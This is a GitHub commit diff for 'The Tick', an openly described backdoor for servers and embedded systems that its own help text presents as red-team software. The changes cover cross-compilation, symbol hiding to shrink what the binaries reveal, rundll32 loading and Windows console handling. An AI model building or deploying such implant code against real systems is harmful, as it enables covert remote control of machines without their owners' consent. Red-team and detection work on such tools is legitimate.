Skip to content

Commit

Permalink
- Finished support for rundll32, now it's fully functional
Browse files Browse the repository at this point in the history
- Fixed bug when infinite retries were specified and the first connection attempt failed
- Fixed symbol visibility, now the binaries don't reveal so much info and are also smaller
- Fixed stdout and stderr in DLL versions on Windows, now allocates a new console if needed
- Now Windows binaries build as console or GUI depending on whether TICK_VERBOSE is on
- Fixed build error on Android, binaries were not being built with PIE
- Fixed symlinks when mounting the filesystem on Android bots
- Added options to the "kill" command so you can kill bots without having to select them first
  • Loading branch information
MarioVilas committed May 6, 2021
1 parent a97e8e5 commit cca5dad
Show file tree
Hide file tree
Showing 11 changed files with 287 additions and 149 deletions.
108 changes: 63 additions & 45 deletions src/Makefile
Original file line number Diff line number Diff line change
Expand Up @@ -57,11 +57,10 @@ SO=../bin/libtick-$(TARGET).so
# it will be automatically embedded into the binary at compile time.
CONFIG=tick.conf

CFLAGS=-W -Wall -Wextra -fdata-sections -ffunction-sections -Wl,--gc-sections -Os -fPIC -static
CFLAGS=-W -Wall -Wextra -fdata-sections -ffunction-sections -Wl,--gc-sections -Os -fPIC -s -fvisibility=hidden
CFLAGS_SO=-Wl,--version-script=libtick.version

CFLAGS_SO=-ldl

CFLAGS_ANDROID=-fdiagnostics-color=always $(TICK_BIGMEM)
CFLAGS_ANDROID=-pie -fPIE -fdiagnostics-color=always $(TICK_BIGMEM)
CFLAGS_LINUX=-std=gnu99
CFLAGS_WINDOWS=-Wno-unknown-pragmas -mwindows -static -lmingw32 -lwsock32 -lws2_32 -lshlwapi

Expand All @@ -85,6 +84,7 @@ CFLAGS_TICK=
#CFLAGS_TICK := $(CFLAGS_TICK) -DTICK_VERBOSE=0

# Uncomment to remove features and make the binary smaller.
# Note that if you remove *all* of them the bot will be useless! :)
#CFLAGS_TICK := $(CFLAGS_TICK) -DTICK_FEATURES_CRYPTO=0
#CFLAGS_TICK := $(CFLAGS_TICK) -DTICK_FEATURES_DNS=0
#CFLAGS_TICK := $(CFLAGS_TICK) -DTICK_FEATURES_EXEC=0
Expand All @@ -98,7 +98,7 @@ CFLAGS_TICK=
#CFLAGS_TICK := $(CFLAGS_TICK) -DTICK_CONFIG_USE_ENV=0
#CFLAGS_TICK := $(CFLAGS_TICK) -DTICK_CONFIG_USE_FILE=0
#CFLAGS_TICK := $(CFLAGS_TICK) -DTICK_CONFIG_USE_BIN=0
#CFLAGS_TICK := $(CFLAGS_TICK) -DTICK_CONFIG_HOSTNAME="your.server.com"
#CFLAGS_TICK := $(CFLAGS_TICK) -DTICK_CONFIG_HOSTNAME=\"your.server.com\"
#CFLAGS_TICK := $(CFLAGS_TICK) -DTICK_CONFIG_PORT=443

# Uncomment and edit for a hardcoded configuration file.
Expand Down Expand Up @@ -134,7 +134,7 @@ CFLAGS_TICK=
ifeq ($(TARGET),debug)
CC=gcc
ST=@true
CFLAGS=-W -Wall -Wextra -fPIC -g3 -ldl
CFLAGS=-W -Wall -Wextra -fPIC -g3
CFLAGS_TICK := $(filter-out -DTICK_VERBOSE=0,$(CFLAGS_TICK)) -DTICK_VERBOSE=1

#----------------------------------------------------------------------------#
Expand Down Expand Up @@ -183,75 +183,93 @@ CFLAGS := $(CFLAGS) $(CFLAGS_ANDROID) $(CFLAGS_X86_64) --sysroot=$(ANDROID_BASE_

#----------------------------------------------------------------------------#

# Generic Linux on 32 bit ARM platforms.
# Generic Linux on 32 bit ARM platforms using MUSL libc.
else ifeq ($(TARGET),generic-arm-linux)
FLAVOR=arm-linux-musleabi
CC=$(FLAVOR)-gcc
ST=$(FLAVOR)-strip
CFLAGS := $(CFLAGS) $(CFLAGS_LINUX) $(CFLAGS_ARM)
CC=/opt/musl/$(FLAVOR)-cross/bin/$(FLAVOR)-gcc
ST=/opt/musl/$(FLAVOR)-cross/bin/$(FLAVOR)-strip
CFLAGS := $(CFLAGS) $(CFLAGS_LINUX) $(CFLAGS_ARM) -static
CFLAGS_SO := $(CFLAGS_SO) -Wl,-Bstatic -nostdlib /opt/musl/$(FLAVOR)-cross/$(FLAVOR)/lib/libc.a /opt/musl/$(FLAVOR)-cross/lib/gcc/$(FLAVOR)/*/libgcc.a

# Generic Linux on 64 bit ARM platforms.
# Generic Linux on 64 bit ARM platforms using MUSL libc.
else ifeq ($(TARGET),generic-arm64-linux)
FLAVOR=aarch64-linux-musl
CC=$(FLAVOR)-gcc
ST=$(FLAVOR)-strip
CFLAGS := $(CFLAGS) $(CFLAGS_LINUX) $(CFLAGS_ARM64)
CC=/opt/musl/$(FLAVOR)-cross/bin/$(FLAVOR)-gcc
ST=/opt/musl/$(FLAVOR)-cross/bin/$(FLAVOR)-strip
CFLAGS := $(CFLAGS) $(CFLAGS_LINUX) $(CFLAGS_ARM64) -static
CFLAGS_SO := $(CFLAGS_SO) -Wl,-Bstatic -nostdlib /opt/musl/$(FLAVOR)-cross/$(FLAVOR)/lib/libc.a /opt/musl/$(FLAVOR)-cross/lib/gcc/$(FLAVOR)/*/libgcc.a

# Generic Linux on 32 bit MIPS platforms.
# Generic Linux on 32 bit MIPS platforms using MUSL libc.
else ifeq ($(TARGET),generic-mips-linux)
FLAVOR=mips-linux-musl
CC=$(FLAVOR)-gcc
ST=$(FLAVOR)-strip
CFLAGS := $(CFLAGS) $(CFLAGS_LINUX) $(CFLAGS_MIPS)
CC=/opt/musl/$(FLAVOR)-cross/bin/$(FLAVOR)-gcc
ST=/opt/musl/$(FLAVOR)-cross/bin/$(FLAVOR)-strip
CFLAGS := $(CFLAGS) $(CFLAGS_LINUX) $(CFLAGS_MIPS) -static
CFLAGS_SO := $(CFLAGS_SO) -Wl,-Bstatic -nostdlib /opt/musl/$(FLAVOR)-cross/$(FLAVOR)/lib/libc.a /opt/musl/$(FLAVOR)-cross/lib/gcc/$(FLAVOR)/*/libgcc.a

# Generic Linux on 64 bit MIPS platforms.
# Generic Linux on 64 bit MIPS platforms using MUSL libc.
else ifeq ($(TARGET),generic-mips64-linux)
FLAVOR=mips64-linux-musl
CC=$(FLAVOR)-gcc
ST=$(FLAVOR)-strip
CFLAGS := $(CFLAGS) $(CFLAGS_LINUX) $(CFLAGS_MIPS64)
CC=/opt/musl/$(FLAVOR)-cross/bin/$(FLAVOR)-gcc
ST=/opt/musl/$(FLAVOR)-cross/bin/$(FLAVOR)-strip
CFLAGS := $(CFLAGS) $(CFLAGS_LINUX) $(CFLAGS_MIPS64) -static
CFLAGS_SO := $(CFLAGS_SO) -Wl,-Bstatic -nostdlib /opt/musl/$(FLAVOR)-cross/$(FLAVOR)/lib/libc.a /opt/musl/$(FLAVOR)-cross/lib/gcc/$(FLAVOR)/*/libgcc.a

# Generic Linux on 32 bit Intel platforms.
# Generic Linux on 32 bit Intel platforms using MUSL libc.
else ifeq ($(TARGET),generic-x86-linux)
FLAVOR=i686-linux-musl
CC=$(FLAVOR)-gcc
ST=$(FLAVOR)-strip
CFLAGS := $(CFLAGS) $(CFLAGS_LINUX) $(CFLAGS_X86)
CFLAGS := $(CFLAGS) -DTICK_PARSER_BUFFER_SIZE=0x10000 -DTICK_EXEC_BUFFER_SIZE=0x100000 -DTICK_MAX_CONFIG_FILE_SIZE=0x10000
CC=/opt/musl/$(FLAVOR)-cross/bin/$(FLAVOR)-gcc
ST=/opt/musl/$(FLAVOR)-cross/bin/$(FLAVOR)-strip
CFLAGS := $(CFLAGS) $(CFLAGS_LINUX) $(CFLAGS_X86) -static
CFLAGS_SO := $(CFLAGS_SO) -Wl,-Bstatic -nostdlib /opt/musl/$(FLAVOR)-cross/$(FLAVOR)/lib/libc.a /opt/musl/$(FLAVOR)-cross/lib/gcc/$(FLAVOR)/*/libgcc.a

# Generic Linux on 64 bit Intel platforms.
# Generic Linux on 64 bit Intel platforms using MUSL libc.
else ifeq ($(TARGET),generic-x86_64-linux)
FLAVOR=x86_64-linux-musl
CC=$(FLAVOR)-gcc
ST=$(FLAVOR)-strip
CFLAGS := $(CFLAGS) $(CFLAGS_LINUX) $(CFLAGS_X86_64)
CFLAGS := $(CFLAGS) -DTICK_PARSER_BUFFER_SIZE=0x10000 -DTICK_EXEC_BUFFER_SIZE=0x100000 -DTICK_MAX_CONFIG_FILE_SIZE=0x10000
CC=/opt/musl/$(FLAVOR)-cross/bin/$(FLAVOR)-gcc
ST=/opt/musl/$(FLAVOR)-cross/bin/$(FLAVOR)-strip
CFLAGS := $(CFLAGS) $(CFLAGS_LINUX) $(CFLAGS_X86_64) -static
CFLAGS_SO := $(CFLAGS_SO) -Wl,-Bstatic -nostdlib /opt/musl/$(FLAVOR)-cross/$(FLAVOR)/lib/libc.a /opt/musl/$(FLAVOR)-cross/lib/gcc/$(FLAVOR)/*/libgcc.a

#----------------------------------------------------------------------------#

# Generic Windows on 32 bit Intel platforms.
# Generic Windows on 32 bit Intel platforms using MUSL libc.
else ifeq ($(TARGET),generic-x86-windows)
FLAVOR=i686-w64-mingw32
CC=$(FLAVOR)-gcc
ST=$(FLAVOR)-strip
CC=/opt/musl/$(FLAVOR)-cross/bin/$(FLAVOR)-gcc
ST=/opt/musl/$(FLAVOR)-cross/bin/$(FLAVOR)-strip
BIN := $(BIN).exe
SO := $(SO:.so=.dll)
CFLAGS := $(CFLAGS) $(CFLAGS_WINDOWS) $(CFLAGS_X86)
CFLAGS_SO := $(filter-out -ldl,$(CFLAGS_SO))
CFLAGS_TICK := $(filter-out -DTICK_CONFIG_USE_ARGV=0,$(CFLAGS_TICK))
CFLAGS_TICK := $(CFLAGS_TICK) -DTICK_CONFIG_USE_ARGV=1
CFLAGS_SO := $(CFLAGS_SO) -Wl,--dll,--enable-auto-image-base -mwindows

# On Windows, if TICK_VERBOSE is on, try to build as a console app.
ifneq ($(filter -DTICK_VERBOSE=1,$(CFLAGS_TICK)),)
CFLAGS := $(filter-out -mwindows,$(CFLAGS)) -mconsole
else
ifeq ($(filter -DTICK_VERBOSE=0,$(CFLAGS_TICK)),)
CFLAGS := $(filter-out -mwindows,$(CFLAGS)) -mconsole
endif
endif

# Generic Windows on 64 bit Intel platforms.
# Generic Windows on 64 bit Intel platforms using MUSL libc.
else ifeq ($(TARGET),generic-x86_64-windows)
FLAVOR=x86_64-w64-mingw32
CC=$(FLAVOR)-gcc
ST=$(FLAVOR)-strip
CC=/opt/musl/$(FLAVOR)-cross/bin/$(FLAVOR)-gcc
ST=/opt/musl/$(FLAVOR)-cross/bin/$(FLAVOR)-strip
BIN := $(BIN).exe
SO := $(SO:.so=.dll)
CFLAGS := $(CFLAGS) $(CFLAGS_WINDOWS) $(CFLAGS_X86_64)
CFLAGS_SO := $(filter-out -ldl,$(CFLAGS_SO))
CFLAGS_TICK := $(filter-out -DTICK_CONFIG_USE_ARGV=0,$(CFLAGS_TICK))
CFLAGS_TICK := $(CFLAGS_TICK) -DTICK_CONFIG_USE_ARGV=1
CFLAGS_SO := $(CFLAGS_SO) -Wl,--dll,--enable-auto-image-base -mwindows

# On Windows, if TICK_VERBOSE is on, try to build as a console app.
ifneq ($(filter -DTICK_VERBOSE=1,$(CFLAGS_TICK)),)
CFLAGS := $(filter-out -mwindows,$(CFLAGS)) -mconsole
else
ifeq ($(filter -DTICK_VERBOSE=0,$(CFLAGS_TICK)),)
CFLAGS := $(filter-out -mwindows,$(CFLAGS)) -mconsole
endif
endif

#----------------------------------------------------------------------------#

Expand Down Expand Up @@ -344,7 +362,7 @@ endif
ifneq ($(SO),)
$(SO): $(OBJ)
mkdir -p -- $$(dirname $(SO))
$(CC) $(filter-out main.o,$(OBJ)) $(filter-out -static,$(CFLAGS)) $(CFLAGS_SO) -shared -o $(SO)
$(CC) $(filter-out main.o,$(OBJ)) $(filter-out -mconsole,$(CFLAGS)) $(CFLAGS_SO) -shared -o $(SO)
$(ST) $(SO)
ifneq ($(filter -DTICK_CONFIG_USE_BIN=1,$(CFLAGS_TICK)),)
ifneq ($(CONFIG),)
Expand Down
12 changes: 12 additions & 0 deletions src/command.c
Original file line number Diff line number Diff line change
Expand Up @@ -130,6 +130,18 @@ int run(int argc, char *argv[])
signal(SIGPIPE, SIG_IGN);
#endif

// Force allocation of a console on Windows, since
// we're building the binaries as having a GUI, so
// the OS won't be allocating one automatically.
#if TICK_VERBOSE && defined(_WIN32)
if (GetConsoleWindow() == NULL) {
AttachConsole(ATTACH_PARENT_PROCESS);
if (GetConsoleWindow() == NULL) {
AllocConsole();
}
}
#endif

// Get the configuration for the bot.
Settings s;
get_configuration(&s, argc, argv);
Expand Down
48 changes: 31 additions & 17 deletions src/common.h
Original file line number Diff line number Diff line change
Expand Up @@ -150,48 +150,52 @@
# define TICK_MAX_CONFIG_FILE_DEPTH 1
#endif

// Enable support for Rundll32 on Windows builds.
#ifndef TICK_FEATURES_RUNDLL
# define TICK_FEATURES_RUNDLL 1
#endif

// Rundll32 compatible entrypoint function name.
// Setting an empty value disables this feature.
#ifndef TICK_RUNDLL_ENTRY_POINT
#define TICK_RUNDLL_ENTRY_POINT EntryPoint
# define TICK_RUNDLL_ENTRY_POINT EntryPoint
#endif

// A little sanity check. Not too smug, I hope.
#if !( defined (TICK_CONFIG_HOSTNAME) || TICK_CONFIG_USE_ARGV || TICK_CONFIG_USE_ENV || TICK_CONFIG_USE_FILE || TICK_CONFIG_USE_BIN )
#error No host to connect to and no configuration sources. How were you planning to connect it? :)
# error No host to connect to and no configuration sources. How were you planning to connect it? :)
#endif
#if TICK_FEATURES_CRYPTO != TICK_CONFIG_USE_SSL
#error Not sure how this happened but we ended up with SSL both enabled and disabled at the same time :(
# error Not sure how this happened but we ended up with SSL both enabled and disabled at the same time :(
#endif

// More validation, this time with boring error messages.
// I can't come up with a witticism for every single one, that'd be overkill.
#if (! TICK_CONFIG_USE_ARGV) && defined (_WIN32)
#error Command line parsing cannot be disabled for Windows builds.
# error Command line parsing cannot be disabled for Windows builds.
#endif
#if TICK_CONFIG_PORT < 0 || TICK_CONFIG_PORT > 0xFFFF
#error Invalid value for TICK_CONFIG_PORT
# error Invalid value for TICK_CONFIG_PORT
#endif
#if TICK_CONFIG_TIME_LIMIT_START < 0
#error Invalid value for TICK_CONFIG_TIME_LIMIT_START
# error Invalid value for TICK_CONFIG_TIME_LIMIT_START
#endif
#if TICK_CONFIG_TIME_LIMIT_END < 0
#error Invalid value for TICK_CONFIG_TIME_LIMIT_END
# error Invalid value for TICK_CONFIG_TIME_LIMIT_END
#endif
#if TICK_CONNECT_RETRY_PAUSE < 0
#error Invalid value for TICK_CONNECT_RETRY_PAUSE
# error Invalid value for TICK_CONNECT_RETRY_PAUSE
#endif
#if TICK_PARSER_BUFFER_SIZE <= 0
#error Invalid value for TICK_PARSER_BUFFER_SIZE
# error Invalid value for TICK_PARSER_BUFFER_SIZE
#endif
#if TICK_EXEC_BUFFER_SIZE <= 0
#error Invalid value for TICK_EXEC_BUFFER_SIZE
# error Invalid value for TICK_EXEC_BUFFER_SIZE
#endif
#if TICK_MAX_CONFIG_FILE_SIZE <= 0
#error Invalid value for TICK_MAX_CONFIG_FILE_SIZE
# error Invalid value for TICK_MAX_CONFIG_FILE_SIZE
#endif
#if TICK_MAX_CONFIG_FILE_DEPTH < 0
#error Invalid value for TICK_MAX_CONFIG_FILE_DEPTH
# error Invalid value for TICK_MAX_CONFIG_FILE_DEPTH
#endif

/*****************************************************************************/
Expand Down Expand Up @@ -226,6 +230,7 @@
#include <libloaderapi.h>
#include <memoryapi.h>
#include <shlwapi.h>
#include <conio.h>

// https://docs.microsoft.com/en-us/windows/win32/api/ws2tcpip/nf-ws2tcpip-getaddrinfo#support-for-getaddrinfo-on-windows-2000-and-older-versions
#include <wspiapi.h>
Expand Down Expand Up @@ -267,11 +272,20 @@

// Log function. Wraps on printf, when disabled at compile time it's effectively a no-op.
#if TICK_VERBOSE
#include <stdio.h>
//#define LOG printf
#define LOG(...) fprintf(stderr, __VA_ARGS__)
# ifdef _WIN32
# define LOG(...) _cprintf(__VA_ARGS__)
# else
# define LOG(...) fprintf(stderr, __VA_ARGS__)
# endif
#else
# define LOG(...)
#endif

// Text output function. Similar to LOG but outputs to stdout instead of stderr.
#ifdef _WIN32
# define PRINT(...) _cprintf(__VA_ARGS__)
#else
#define LOG(...)
# define PRINT(...) printf(__VA_ARGS__)
#endif

// Helper function to convert 64 bit ints to network byte order.
Expand Down
46 changes: 36 additions & 10 deletions src/config.c
Original file line number Diff line number Diff line change
Expand Up @@ -724,13 +724,39 @@ void get_configuration(Settings *s, int argc, char *argv[])

#if TICK_VERBOSE && (TICK_CONFIG_USE_ARGV || TICK_CONFIG_ENV)

int check_for_help(int argc, char *argv[])
{
# if TICK_CONFIG_USE_ARGV
if (argc > 1) {
int x;
for (x = 1; x < argc; x++) {
if (strcmp(argv[x], "--help") == 0) {
show_help(NULL, argv[0]);
return -1;
}
}
}
# endif
# if TICK_CONFIG_USE_ENV
char *env = getenv(QUOTE(TICK_CONFIG_ENV_NAME));
if (env != NULL) {
env = strstr(env, "--help");
if (env != NULL) {
show_help(NULL, argv[0]);
return -1;
}
}
# endif
return 0;
}

// Show a user friendly help message.
// For a smarter message pass it the Settings structure and argv[0].
// These are optional, however.
void show_help(Settings *s, char *execname)
{
// Start by showing the banner.
printf("\nThe Tick, a simple backdoor for servers and embedded systems.\n");
PRINT("\nThe Tick, a simple backdoor for servers and embedded systems.\n");

// We have a different usage message depending on whether we parse command
// line arguments, environment strings, a config file, or nothing at all.
Expand Down Expand Up @@ -770,7 +796,7 @@ void show_help(Settings *s, char *execname)
"\t-c, --config FILE\n"
#endif
;
printf(usage, execname);
PRINT(usage, execname);
#endif

// We can improve the message if we know the settings.
Expand Down Expand Up @@ -802,38 +828,38 @@ void show_help(Settings *s, char *execname)
} else {
strcpy(end_str, "forever");
}
printf("\nPentesting time window:\n");
PRINT("\nPentesting time window:\n");
if (s->start_time > 0 && s->start_time > now) {
printf(" Start date: %s (not yet started)\n", start_str);
PRINT(" Start date: %s (not yet started)\n", start_str);
} else {
printf(" Start date: %s\n", start_str);
PRINT(" Start date: %s\n", start_str);
}
if (s->end_time > 0 && s->end_time <= now) {
printf(" End date: %s (completed)\n", end_str);
PRINT(" End date: %s (completed)\n", end_str);
} else {
printf(" End date: %s\n", end_str);
PRINT(" End date: %s\n", end_str);
}
}
#endif

// If we have a hardcoded configuration file, show it.
#if TICK_CONFIG_USE_FILE
#ifdef TICK_CONFIG_FILE_NAME
printf("\n"
PRINT("\n"
"Configuration file name:\n\t"
TICK_CONFIG_FILE_NAME
"\n");
#endif
#endif

// Finish with a nice message for unsuspecting sysadmins. ;)
printf("\n"
PRINT("\n"
"This is a backdoor component used for security testing and red team exercises.\n"
"If you are seeing this software installed on your system, you should probably\n"
"report the incident to your local security team.\n"
);
#ifndef _WIN32
printf("\n");
PRINT("\n");
#endif
}

Expand Down
Loading

0 comments on commit cca5dad

Please sign in to comment.